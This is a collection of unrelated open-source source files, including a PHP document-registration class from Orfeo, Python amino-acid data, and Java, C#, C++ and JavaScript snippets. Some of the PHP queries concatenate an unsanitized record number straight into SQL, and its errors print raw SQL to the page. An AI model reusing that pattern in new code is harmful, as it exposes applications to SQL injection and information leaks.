if($secNew==0) die("<hr><b><font color=red><center>Error no genero un Numero de Secuencia<br>SQL: $secNew</center></font></b><hr>");
}
$newRadicado = date("Y") . $this->dependencia . str_pad($secNew,$this->noDigitosRad,"0", STR_PAD_LEFT) . $tpRad;
$recordR["radi_tipo_deri"] = (!$this->radiTipoDeri)? 0 : $this->radiTipoDeri;
if(!$this->carpCodi) $this->carpCodi = 0;
if(!$this->radiNumeDeri) $this->radiNumeDeri = 0;
if(!$this->nivelRad) $this->nivelRad = 0;
if(!$this->mrecCodi) $this->mrecCodi = 0;
$recordR["SGD_SPUB_CODIGO"] = $this->nivelRad;
$recordR["RADI_CUENTAI"] = $this->radiCuentai;
$recordR["EESP_CODI"] = $this->eespCodi?$this->eespCodi:0;
$recordR["MREC_CODI"] = $this->mrecCodi;
// Modificado SGD 06-Septiembre-2007
switch ($GLOBALS['driver']) {
case 'postgres':
$recordR["radi_fech_ofic"]= $this->radiFechOfic;
break;
default:
$recordR["radi_fech_ofic"]= $this->db->conn->DBDate($this->radiFechOfic);
}
$recordR["RADI_NUME_DERI"] = $this->radiNumeDeri;
$recordR["RADI_USUA_RADI"] = $this->usuaCodi;
$recordR["RADI_PAIS"] = "'".$this->radiPais."'";
$recordR["RA_ASUN"] = $this->db->conn->qstr($this->raAsun);
$recordR["radi_desc_anex"] = $this->db->conn->qstr($this->descAnex);
$recordR["RADI_DEPE_RADI"] = $this->radiDepeRadi;
$recordR["RADI_USUA_ACTU"] = $this->radiUsuaActu;
$recordR["carp_codi"] = $this->carpCodi;
$recordR["CARP_PER"] = 0;
$recordR["RADI_NUME_RADI"] = $newRadicado;
$recordR["TRTE_CODI"] = $this->trteCodi;
$recordR["RADI_FECH_RADI"] = "to_date('".date('d-m-Y H:i:s')."','DD-MM-YYYY HH24:MI:SS')";
$recordR["RADI_DEPE_ACTU"] = $this->radiDepeActu;
$recordR["TDOC_CODI"] = $this->tdocCodi;
$recordR["TDID_CODI"] = $this->tdidCodi;
$recordR["CODI_NIVEL"] = 5;
if(!$this->sgd_apli_codi) $this->sgd_apli_codi=0;
$recordR["SGD_APLI_CODI"] = $this->sgd_apli_codi;
$recordR["RADI_PATH"] = "$this->radiPath";
$whereNivel = "";
$insertSQL = $this->db->insert("RADICADO", $recordR, "true");
if(!$insertSQL)
echo "<hr><b><font color=red>Error no se inserto sobre radicado<br>SQL: ".$this->db->querySql."</font></b><hr>";
//$this->db->conn->CommitTrans();
return $newRadicado;
}
function updateRadicado($radicado, $radPathUpdate = null) {
$recordR["radi_cuentai"] = $this->radiCuentai;
$recordR["eesp_codi"] = $this->eespCodi;
$recordR["mrec_codi"] = $this->mrecCodi;
$recordR["radi_fech_ofic"] = $this->db->conn->DBDate($this->radiFechOfic);
$recordR["radi_pais"] = "'".$this->radiPais."'";
$recordR["ra_asun"] = $this->db->conn->qstr($this->raAsun);
$recordR["radi_desc_anex"]= $this->db->conn->qstr($this->descAnex);
$recordR["trte_codi"] = $this->trteCodi;
$recordR["tdid_codi"] = $this->tdidCodi;
$recordR["radi_nume_radi"] = $radicado;
$recordR["SGD_APLI_CODI"] = $this->sgd_apli_codi;
// Linea para realizar radicacion Web de archivos pdf
if(!empty($radPathUpdate) && $radPathUpdate != ""){
$archivoPath = explode(".", $radPathUpdate);
// Sacando la extension del archivo
$extension = array_pop($archivoPath);
if($extension == "pdf"){
$recordR["radi_path"] = "'" . $radPathUpdate . "'";
}
}
$insertSQL = $this->db->conn->Replace("RADICADO", $recordR, "radi_nume_radi", false);
return $insertSQL;
}
/** FUNCION ANEXOS IMPRESOS RADICADO
* Busca los anexos de un radicado que se encuentran impresos.
* @param $radicado int Contiene el numero de radicado a Buscar
* @return Arreglo con los anexos impresos
* Fecha de creaci�n: 10-Agosto-2006
* Creador: Supersolidaria
* Fecha de modificaci�n:
* Modificador:
*/
function getRadImpresos($radicado)
{
$sqlImp = "SELECT A.RADI_NUME_SALIDA
FROM ANEXOS A, RADICADO R
WHERE A.ANEX_RADI_NUME=R.RADI_NUME_RADI
AND ( A.ANEX_ESTADO=3 OR A.ANEX_ESTADO=4 )
AND R.RADI_NUME_RADI = ".$radicado;
// print $sqlImp;
$rsImp = $this->db->conn->query( $sqlImp );
if ( $rsImp->EOF )
{
$arrAnexos[0] = 0;
}
else
{
$e = 0;
while( $rsImp && !$rsImp->EOF )
{
$arrAnexos[ $e ] = $rsImp->fields['RADI_NUME_SALIDA'];
$e++;
$rsImp->MoveNext();
}
}
return $arrAnexos;
}
/** FUNCION DATOS DE UN RADICADO
* Busca los datos de un radicado.
* @param $radicado int Contiene el numero de radicado a Buscar
* @return Arreglo con los datos del radicado
* Fecha de creaci�n: 29-Agosto-2006
* Creador: Supersolidaria
* Fecha de modificaci�n:
* Modificador:
*/
function getDatosRad( $radicado )
{
$query = 'SELECT RAD.RADI_FECH_RADI, RAD.RADI_PATH, TPR.SGD_TPR_DESCRIP,';
$query .= ' RAD.RA_ASUN';
$query .= ' FROM RADICADO RAD';
$query .= ' LEFT JOIN SGD_TPR_TPDCUMENTO TPR ON TPR.SGD_TPR_CODIGO = RAD.TDOC_CODI';
$query .= ' WHERE RAD.RADI_NUME_RADI = '.$radicado;
// print $query;
$rs = $this->db->conn->query( $query );
$arrDatosRad['fechaRadicacion'] = $rs->fields['RADI_FECH_RADI'];
$arrDatosRad['ruta'] = $rs->fields['RADI_PATH'];
$arrDatosRad['tipoDocumento'] = $rs->fields['SGD_TPR_DESCRIP'];
$arrDatosRad['asunto'] = $rs->fields['RA_ASUN'];
return $arrDatosRad;
}
} // Fin de Class Radicacion
?>
| anicma/orfeo | include/tx/Radicacion.php | PHP | gpl-3.0 | 8,089 |
# Copyright 2013-2015 Lenna X. Peterson. All rights reserved.
from .meta import classproperty
class AtomData(object):
# Maximum ASA for each residue
# from Miller et al. 1987, JMB 196: 641-656
total_asa = {
'A': 113.0,
'R': 241.0,
'N': 158.0,
'D': 151.0,
'C': 140.0,
'Q': 189.0,
'E': 183.0,
'G': 85.0,
'H': 194.0,
'I': 182.0,
'L': 180.0,
'K': 211.0,
'M': 204.0,
'F': 218.0,
'P': 143.0,
'S': 122.0,
'T': 146.0,
'W': 259.0,
'Y': 229.0,
'V': 160.0,
}
@classmethod
def is_surface(cls, resn, asa, total_asa=None, cutoff=0.1):
"""Return True if ratio of residue ASA to max ASA >= cutoff"""
if total_asa is None:
total_asa = cls.total_asa
resn = resn.upper()
if len(resn) == 3:
resn = cls.three_to_one[resn]
return float(asa) / total_asa[resn] >= cutoff
three_to_full = {
'Val': 'Valine', 'Ile': 'Isoleucine', 'Leu': 'Leucine',
'Glu': 'Glutamic acid', 'Gln': 'Glutamine',
'Asp': 'Aspartic acid', 'Asn': 'Asparagine', 'His': 'Histidine',
'Trp': 'Tryptophan', 'Phe': 'Phenylalanine', 'Tyr': 'Tyrosine',
'Arg': 'Arginine', 'Lys': 'Lysine',
'Ser': 'Serine', 'Thr': 'Threonine',
'Met': 'Methionine', 'Ala': 'Alanine',
'Gly': 'Glycine', 'Pro': 'Proline', 'Cys': 'Cysteine'}
three_to_one = {
'VAL': 'V', 'ILE': 'I', 'LEU': 'L', 'GLU': 'E', 'GLN': 'Q',
'ASP': 'D', 'ASN': 'N', 'HIS': 'H', 'TRP': 'W', 'PHE': 'F', 'TYR': 'Y',
'ARG': 'R', 'LYS': 'K', 'SER': 'S', 'THR': 'T', 'MET': 'M', 'ALA': 'A',
'GLY': 'G', 'PRO': 'P', 'CYS': 'C'}
one_to_three = {o: t for t, o in three_to_one.iteritems()}
@classproperty
def one_to_full(cls):
"""
This can't see three_to_full unless explicitly passed because
dict comprehensions create their own local scope
"""
return {o: cls.three_to_full[t.title()] for t, o in cls.three_to_one.iteritems()}
res_atom_list = dict(
ALA=['C', 'CA', 'CB', 'N', 'O'],
ARG=['C', 'CA', 'CB', 'CD', 'CG', 'CZ', 'N', 'NE', 'NH1', 'NH2', 'O'],
ASN=['C', 'CA', 'CB', 'CG', 'N', 'ND2', 'O', 'OD1'],
ASP=['C', 'CA', 'CB', 'CG', 'N', 'O', 'OD1', 'OD2'],
CYS=['C', 'CA', 'CB', 'N', 'O', 'SG'],
GLN=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'NE2', 'O', 'OE1'],
GLU=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'O', 'OE1', 'OE2'],
GLY=['C', 'CA', 'N', 'O'],
HIS=['C', 'CA', 'CB', 'CD2', 'CE1', 'CG', 'N', 'ND1', 'NE2', 'O'],
ILE=['C', 'CA', 'CB', 'CD1', 'CG1', 'CG2', 'N', 'O'],
LEU=['C', 'CA', 'CB', 'CD1', 'CD2', 'CG', 'N', 'O'],
LYS=['C', 'CA', 'CB', 'CD', 'CE', 'CG', 'N', 'NZ', 'O'],
MET=['C', 'CA', 'CB', 'CE', 'CG', 'N', 'O', 'SD'],
PHE=['C', 'CA', 'CB', 'CD1', 'CD2',
'CE1', 'CE2', 'CG', 'CZ', 'N', 'O'],
PRO=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'O'],
SER=['C', 'CA', 'CB', 'N', 'O', 'OG'],
THR=['C', 'CA', 'CB', 'CG2', 'N', 'O', 'OG1'],
TRP=['C', 'CA', 'CB', 'CD1', 'CD2', 'CE2',
'CE3', 'CG', 'CH2', 'CZ2', 'CZ3', 'N', 'NE1', 'O'],
TYR=['C', 'CA', 'CB', 'CD1', 'CD2',
'CE1', 'CE2', 'CG', 'CZ', 'N', 'O', 'OH'],
VAL=['C', 'CA', 'CB', 'CG1', 'CG2', 'N', 'O'],
)
all_chi = dict(
chi1=dict(
ARG=['N', 'CA', 'CB', 'CG'],
ASN=['N', 'CA', 'CB', 'CG'],
ASP=['N', 'CA', 'CB', 'CG'],
CYS=['N', 'CA', 'CB', 'SG'],
GLN=['N', 'CA', 'CB', 'CG'],
GLU=['N', 'CA', 'CB', 'CG'],
HIS=['N', 'CA', 'CB', 'CG'],
ILE=['N', 'CA', 'CB', 'CG1'],
LEU=['N', 'CA', 'CB', 'CG'],
LYS=['N', 'CA', 'CB', 'CG'],
MET=['N', 'CA', 'CB', 'CG'],
PHE=['N', 'CA', 'CB', 'CG'],
PRO=['N', 'CA', 'CB', 'CG'],
SER=['N', 'CA', 'CB', 'OG'],
THR=['N', 'CA', 'CB', 'OG1'],
TRP=['N', 'CA', 'CB', 'CG'],
TYR=['N', 'CA', 'CB', 'CG'],
VAL=['N', 'CA', 'CB', 'CG1'],
),
chi2=dict(
ARG=['CA', 'CB', 'CG', 'CD'],
ASN=['CA', 'CB', 'CG', 'OD1'],
ASP=['CA', 'CB', 'CG', 'OD1'],
GLN=['CA', 'CB', 'CG', 'CD'],
GLU=['CA', 'CB', 'CG', 'CD'],
HIS=['CA', 'CB', 'CG', 'ND1'],
ILE=['CA', 'CB', 'CG1', 'CD1'],
LEU=['CA', 'CB', 'CG', 'CD1'],
LYS=['CA', 'CB', 'CG', 'CD'],
MET=['CA', 'CB', 'CG', 'SD'],
PHE=['CA', 'CB', 'CG', 'CD1'],
PRO=['CA', 'CB', 'CG', 'CD'],
TRP=['CA', 'CB', 'CG', 'CD1'],
TYR=['CA', 'CB', 'CG', 'CD1'],
),
chi3=dict(
ARG=['CB', 'CG', 'CD', 'NE'],
GLN=['CB', 'CG', 'CD', 'OE1'],
GLU=['CB', 'CG', 'CD', 'OE1'],
LYS=['CB', 'CG', 'CD', 'CE'],
MET=['CB', 'CG', 'SD', 'CE'],
),
chi4=dict(
ARG=['CG', 'CD', 'NE', 'CZ'],
LYS=['CG', 'CD', 'CE', 'NZ'],
),
chi5=dict(
ARG=['CD', 'NE', 'CZ', 'NH1'],
),
)
alt_chi = dict(
chi1=dict(
VAL=['N', 'CA', 'CB', 'CG2'],
),
chi2=dict(
ASP=['CA', 'CB', 'CG', 'OD2'],
LEU=['CA', 'CB', 'CG', 'CD2'],
PHE=['CA', 'CB', 'CG', 'CD2'],
TYR=['CA', 'CB', 'CG', 'CD2'],
),
)
chi_atoms = dict(
ARG=set(['CB', 'CA', 'CG', 'NE', 'N', 'CZ', 'NH1', 'CD']),
ASN=set(['CB', 'CA', 'N', 'CG', 'OD1']),
ASP=set(['CB', 'CA', 'N', 'CG', 'OD1', 'OD2']),
CYS=set(['CB', 'CA', 'SG', 'N']),
GLN=set(['CB', 'CA', 'CG', 'N', 'CD', 'OE1']),
GLU=set(['CB', 'CA', 'CG', 'N', 'CD', 'OE1']),
HIS=set(['ND1', 'CB', 'CA', 'CG', 'N']),
ILE=set(['CG1', 'CB', 'CA', 'CD1', 'N']),
LEU=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']),
LYS=set(['CB', 'CA', 'CG', 'CE', 'N', 'NZ', 'CD']),
MET=set(['CB', 'CA', 'CG', 'CE', 'N', 'SD']),
PHE=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']),
PRO=set(['CB', 'CA', 'N', 'CG', 'CD']),
SER=set(['OG', 'CB', 'CA', 'N']),
THR=set(['CB', 'CA', 'OG1', 'N']),
TRP=set(['CB', 'CA', 'CG', 'CD1', 'N']),
TYR=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']),
VAL=set(['CG1', 'CG2', 'CB', 'CA', 'N']),
)
| lennax/util | util/atom_data.py | Python | gpl-3.0 | 6,616 |
using System;
using AoM;
using Newtonsoft.Json;
using Units;
namespace Maps
{
/// <summary>
/// Represents a single population rule
/// </summary>
public class PopulationRule
{
/// <summary>
/// This is requiered to have access to other rules, so these rules are not forceful independent
/// </summary>
[JsonIgnore]
public Populator Populator { get; private set; }
/// <summary>
/// Gets the chance of run this population rule
/// </summary>
/// <value>The chance.</value>
public float Chance { get; set; }
/// <summary>
/// The stacks created by this rule
/// </summary>
public DistributedStack [] Stacks;
/// <summary>
/// Links this rule to a <see cref="Populator"/>
/// </summary>
public void LinkWith (Populator populator)
{
if (populator == null)
throw new ArgumentNullException ("populator");
if (Populator != null)
throw new InvalidOperationException ("This rule already has a populator");
Populator = populator;
}
}
/// <summary>
/// Represents a pain Race-distribution
/// </summary>
public class DistributedStack
{
/// <summary>
/// The name of the race
/// </summary>
public string RaceName;
/// <summary>
/// Gets the race using <see cref="Juego.ClassRaceManager"/>
/// </summary>
[JsonIgnore]
public UnitRace Race
{
get
{
return Program.MyGame.ClassRaceManager.GetRace (RaceName);
}
}
/// <summary>
/// The distribution on the unit's quantity
/// </summary>
public float SpawnProbPerCell;
}
} | karv/Art-of-Meow | Maps/PopulationRule.cs | C# | gpl-3.0 | 1,529 |
<?php
return array(
'modulus_crud' => array(
'defaultReadTemplate' => 'modulus-ui/crud/read',
'defaultCreateTemplate' => 'modulus-ui/crud/create',
'defaultUpdateTemplate' => 'modulus-ui/crud/update',
'defaultViewTemplate' => 'modulus-ui/crud/view',
),
'view_manager' => array(
'template_map' => array(
'modulus-ui/crud/read' => __DIR__ . '/../view/modulus-ui/crud/read.phtml',
'modulus-ui/crud/create' => __DIR__ . '/../view/modulus-ui/crud/create.phtml',
'modulus-ui/crud/update' => __DIR__ . '/../view/modulus-ui/crud/update.phtml',
'modulus-ui/crud/view' => __DIR__ . '/../view/modulus-ui/crud/view.phtml',
'modulus-ui/crud/form' => __DIR__ . '/../view/modulus-ui/crud/form.phtml',
),
'template_path_stack' => array(
__DIR__ . '/../view',
),
),
);
| leandro-lugaresi/leandrolugaresi | module/ModulusUI/config/module.config.php | PHP | gpl-3.0 | 907 |
/*
* Copyright 2010 Pablo Arrighi, Alex Concha, Miguel Lezama for version 1.
* Copyright 2013 Pablo Arrighi, Miguel Lezama, Kevin Mazet for version 2.
*
* This file is part of GOOL.
*
* GOOL is free software: you can redistribute it and/or modify it under the terms of the GNU
* General Public License as published by the Free Software Foundation, version 3.
*
* GOOL is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License version 3 for more details.
*
* You should have received a copy of the GNU General Public License along with GOOL,
* in the file COPYING.txt. If not, see <http://www.gnu.org/licenses/>.
*/
package gool.ast.system;
import gool.ast.core.GoolCall;
import gool.ast.type.TypeVoid;
import gool.generator.GoolGeneratorController;
/**
* This class captures the invocation of a system method.
*/
public class SystemCommandCall extends GoolCall {
/**
* The constructor of a "system call" representation.
*/
public SystemCommandCall() {
super(TypeVoid.INSTANCE);
}
@Override
public String callGetCode() {
return GoolGeneratorController.generator().getCode(this);
}
}
| librecoop/GOOL | src/gool/ast/system/SystemCommandCall.java | Java | gpl-3.0 | 1,272 |
/*******************************************************************************
* Copyright (c) 2006 Subclipse project and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*
* Contributors:
* Subclipse project committers - initial API and implementation
******************************************************************************/
package org.tigris.subversion.subclipse.ui.authentication;
import org.eclipse.jface.dialogs.IDialogConstants;
import org.eclipse.swt.SWT;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Control;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.PlatformUI;
import org.tigris.subversion.subclipse.ui.IHelpContextIds;
import org.tigris.subversion.subclipse.ui.Policy;
import org.tigris.subversion.subclipse.ui.dialogs.SubclipseTrayDialog;
public class UserPromptDialog extends SubclipseTrayDialog {
private String realm;
private String username;
private boolean save;
private boolean maySave;
private Text userText;
private Button saveButton;
private Button okButton;
private static int WIDTH = 300;
public UserPromptDialog(Shell parentShell, String realm, String username, boolean maySave) {
super(parentShell);
this.realm = realm;
this.username = username;
this.maySave = maySave;
}
protected Control createDialogArea(Composite parent) {
Composite rtnGroup = (Composite)super.createDialogArea(parent);
getShell().setText(Policy.bind("UserPromptDialog.title")); //$NON-NLS-1$
GridLayout layout = new GridLayout();
layout.numColumns = 2;
rtnGroup.setLayout(layout);
rtnGroup.setLayoutData(
new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING));
Label realmLabel = new Label(rtnGroup, SWT.NONE);
realmLabel.setText(Policy.bind("PasswordPromptDialog.repository")); //$NON-NLS-1$
Text realmText = new Text(rtnGroup, SWT.BORDER);
GridData gd = new GridData();
gd.widthHint = WIDTH;
realmText.setLayoutData(gd);
realmText.setEditable(false);
realmText.setText(realm);
Label userLabel = new Label(rtnGroup, SWT.NONE);
userLabel.setText(Policy.bind("UserPromptDialog.username")); //$NON-NLS-1$
userText = new Text(rtnGroup, SWT.BORDER);
gd = new GridData();
gd.widthHint = WIDTH;
userText.setLayoutData(gd);
userText.setText(username == null? "": username);
userText.selectAll();
if (maySave) {
saveButton = new Button(rtnGroup, SWT.CHECK);
saveButton.setText(Policy.bind("UserPromptDialog.save")); //$NON-NLS-1$
gd = new GridData();
gd.horizontalSpan = 2;
saveButton.setLayoutData(gd);
}
// set F1 help
PlatformUI.getWorkbench().getHelpSystem().setHelp(rtnGroup, IHelpContextIds.USER_PROMPT_DIALOG);
userText.setFocus();
return rtnGroup;
}
public Button createButton(Composite parent, int id, String label, boolean isDefault) {
Button button = super.createButton(parent, id, label, isDefault);
if (id == IDialogConstants.OK_ID) {
okButton = button;
okButton.setEnabled(true);
}
return button;
}
protected void okPressed() {
username = userText.getText().trim();
if (maySave) save = saveButton.getSelection();
super.okPressed();
}
public boolean isSave() {
return save;
}
public String getUsername() {
return username;
}
}
| apicloudcom/APICloud-Studio | org.tigris.subversion.subclipse.ui/src/org/tigris/subversion/subclipse/ui/authentication/UserPromptDialog.java | Java | gpl-3.0 | 3,794 |
#include "Meta_temporary_type.hpp"
#include "../colors.h"
#if COMPILER
#include "../compiler/Compiler.hpp"
#endif
namespace ls {
bool Meta_temporary_type::operator == (const Type* type) const {
return false;
}
int Meta_temporary_type::distance(const Type* type) const {
return -1;
}
#if COMPILER
llvm::Type* Meta_temporary_type::llvm(Compiler& c) const {
return llvm::Type::getVoidTy(c.getContext());
}
#endif
std::string Meta_temporary_type::class_name() const {
return "";
}
Json Meta_temporary_type::json() const {
return type->json();
}
std::ostream& Meta_temporary_type::print(std::ostream& os) const {
os << C_GREY << "tmp(" << type << ")" << END_COLOR;
return os;
}
Type* Meta_temporary_type::clone() const {
return new Meta_temporary_type(type);
}
} | 5Pilow/LeekScript | src/type/Meta_temporary_type.cpp | C++ | gpl-3.0 | 768 |
var searchData=
[
['unbancategories',['unbanCategories',['../classunban_categories.html',1,'']]],
['unbancategorieshandler',['unbanCategoriesHandler',['../classunban_categories_handler.html',1,'']]],
['unbanformrecaptcha',['unbanFormRecaptcha',['../classunban_form_recaptcha.html',1,'']]],
['unbanformselectcategory',['unbanFormSelectCategory',['../classunban_form_select_category.html',1,'']]],
['unbanformselectmember',['unbanFormSelectMember',['../classunban_form_select_member.html',1,'']]],
['unbanmembers',['unbanMembers',['../classunban_members.html',1,'']]],
['unbanmembershandler',['unbanMembersHandler',['../classunban_members_handler.html',1,'']]]
];
| labscoop/xortify | azure/docs/html/search/classes_75.js | JavaScript | gpl-3.0 | 676 |
/*******************************************************************************
* This application simulates turn-based games hosted on a server.
* Copyright (C) 2014
* Initiators : Fabien Delecroix and Yoann Dufresne
* Developpers : Raphael Bauduin and Celia Cacciatore
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
******************************************************************************/
package games.hotpotato;
import clients.local.LocalClientFactory;
import model.engine.GameHost;
import games.hotpotato.moves.PassFactory;
/**
* Hosts the HotPotato game.
*
* @author Cacciatore Celia - Bauduin Raphael
*/
public class HotPotatoHost extends GameHost<HotPotato> {
public HotPotatoHost() {
super(4, new LocalClientFactory());
}
@Override
protected void createGame() {
this.game = new HotPotato(this.players);
}
@Override
protected void createFactories() {
this.firstMoveFactory = new PassFactory();
}
} | yoann-dufresne/Turn-Based-Game | src/main/java/games/hotpotato/HotPotatoHost.java | Java | gpl-3.0 | 1,601 |
/*
* NonNlsMessages.java
* Copyright 2008-2014 Gamegineer contributors and others.
* All rights reserved.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Created on Mar 19, 2011 at 9:35:08 PM.
*/
package org.gamegineer.table.internal.net.impl.node.common.messages;
import net.jcip.annotations.ThreadSafe;
import org.eclipse.osgi.util.NLS;
/**
* A utility class to manage non-localized messages for the package.
*/
@ThreadSafe
final class NonNlsMessages
extends NLS
{
// ======================================================================
// Fields
// ======================================================================
// --- BeginAuthenticationRequestMessage --------------------------------
/** The challenge length must be greater than zero. */
public static String BeginAuthenticationRequestMessage_setChallenge_empty = ""; //$NON-NLS-1$
/** The salt length must be greater than zero. */
public static String BeginAuthenticationRequestMessage_setSalt_empty = ""; //$NON-NLS-1$
// --- BeginAuthenticationResponseMessage -------------------------------
/** The response length must be greater than zero. */
public static String BeginAuthenticationResponseMessage_setResponse_empty = ""; //$NON-NLS-1$
// ======================================================================
// Constructors
// ======================================================================
/**
* Initializes the {@code NonNlsMessages} class.
*/
static
{
NLS.initializeMessages( NonNlsMessages.class.getName(), NonNlsMessages.class );
}
/**
* Initializes a new instance of the {@code NonNlsMessages} class.
*/
private NonNlsMessages()
{
}
}
| gamegineer/dev | main/table/org.gamegineer.table.net.impl/src/org/gamegineer/table/internal/net/impl/node/common/messages/NonNlsMessages.java | Java | gpl-3.0 | 2,438 |
/**
* @author Michele Tomaiuolo - http://www.ce.unipr.it/people/tomamic
* @license This software is free - http://www.gnu.org/licenses/gpl.html
*/
#include "fifteenmodel.h"
FifteenModel::FifteenModel(int rows, int columns)
: silent(false), FifteenPuzzle(rows, columns)
{
}
void FifteenModel::shuffle()
{
silent = true;
FifteenPuzzle::shuffle();
silent = false;
}
void FifteenModel::moveBlank(Coord delta)
{
FifteenPuzzle::moveBlank(delta);
if (!silent) emit blankMoved();
}
FifteenPuzzle::Coord FifteenModel::getBlank()
{
return blank;
}
FifteenPuzzle::Coord FifteenModel::getMoved()
{
return moved;
}
| Pio1962/fondinfo | 2012/proj-1-2009-fifteen-model/fifteenmodel.cpp | C++ | gpl-3.0 | 643 |
/*
* libgpgme-sharp - .NET wrapper classes for libgpgme (GnuPG Made Easy)
* Copyright (C) 2008 Daniel Mueller <daniel@danm.de>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
using System;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Libgpgme.Interop
{
[StructLayout(LayoutKind.Sequential)]
internal class _gpgme_op_sign_result
{
/* The list of invalid signers. */
public IntPtr invalid_signers; // gpgme_invalid_key_t
public IntPtr signatures; // gpgme_new_signature_t
}
}
| patrickkostjens/OutlookPrivacyPlugin | 3rdParty/gpgme-sharp/gpgme-sharp/Interop/_gpgme_op_sign_result.cs | C# | gpl-3.0 | 1,334 |
#!D:\PycharmProjects\UFT\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==0.6c11','console_scripts','easy_install'
__requires__ = 'setuptools==0.6c11'
import sys
from pkg_resources import load_entry_point
sys.exit(
load_entry_point('setuptools==0.6c11', 'console_scripts', 'easy_install')()
)
| hardanimal/UFT_UPGEM | Scripts/easy_install-script.py | Python | gpl-3.0 | 309 |
package de.beuth.sp.screbo.eventBus.events;
import de.beuth.sp.screbo.database.Retrospective;
/**
* Superclass for all retrospective based events.
*
* @author volker.gronau
*
*/
@SuppressWarnings("serial")
public class RetrospectiveEvent extends ScreboEvent {
protected Retrospective retrospective;
public RetrospectiveEvent(Retrospective retrospective) {
super();
this.retrospective = retrospective;
}
public Retrospective getRetrospective() {
return retrospective;
}
@Override
public String toString() {
return getClass().getSimpleName() + " [retrospective=" + retrospective + "]";
}
}
| ScreboDevTeam/Screbo | src/de/beuth/sp/screbo/eventBus/events/RetrospectiveEvent.java | Java | gpl-3.0 | 615 |
/***********************************************************************
This file is part of KEEL-software, the Data Mining tool for regression,
classification, clustering, pattern mining and so on.
Copyright (C) 2004-2010
F. Herrera (herrera@decsai.ugr.es)
L. Sánchez (luciano@uniovi.es)
J. Alcalá-Fdez (jalcala@decsai.ugr.es)
S. García (sglopez@ujaen.es)
A. Fernández (alberto.fernandez@ujaen.es)
J. Luengo (julianlm@decsai.ugr.es)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/
**********************************************************************/
package keel.GraphInterKeel.datacf.util;
import java.io.File;
import java.util.Vector;
import javax.swing.filechooser.*;
/**
* <p>
* @author Written by Ignacio Robles
* @author Modified by Pedro Antonio Gutiérrez and Juan Carlos Fernández (University of Córdoba) 23/10/2008
* @version 1.0
* @since JDK1.5
* </p>
*/
public final class KeelFileFilter extends FileFilter {
/**
* <p>
* Filter for files in a FileBrowser
* </p>
*/
/** Extensions of the file filter */
private Vector<String> extensions = new Vector<String>();
/** Name of the filter */
private String filterName = null;
/**
* <p>
* Sets Name of the Filer
* </p>
* @param fn Name of filter
*/
public void setFilterName(String fn) {
filterName = new String(fn);
}
/**
* <p>
* Adds extendion to the filter
* </p>
* @param ex Extension for the filter
*/
public void addExtension(String ex) {
extensions.add(new String(ex));
}
/**
* Overriding the accept method for accepting
* directory names
* @param f File to evaluate
* @return boolean Is the file accepted?
*/
@Override
public boolean accept(File f) {
String filename = f.getName();
if (f.isDirectory()) {
return true;
}
for (int i = 0; i < extensions.size(); i++) {
if (filename.endsWith(extensions.elementAt(i))) {
return true;
}
}
return false;
}
/**
* Returns the description of the file filter
* @return String Description of the file filter
*/
@Override
public String getDescription() {
return filterName;
}
}
| adofsauron/KEEL | src/keel/GraphInterKeel/datacf/util/KeelFileFilter.java | Java | gpl-3.0 | 2,920 |
#ifndef INCLUDE_MODEL_TASK_HPP_
#define INCLUDE_MODEL_TASK_HPP_
#include <unordered_map>
#include "building.hpp"
#include "entity.hpp"
#include "item.hpp"
#include "tile.hpp"
namespace villa
{
/**
* Task data union.
*/
struct taskdata
{
taskdata(std::pair<int, int> target_coords);
taskdata(std::pair<int, int> target_coords, entity* target_entity);
taskdata(std::pair<int, int> target_coords, building* target_building);
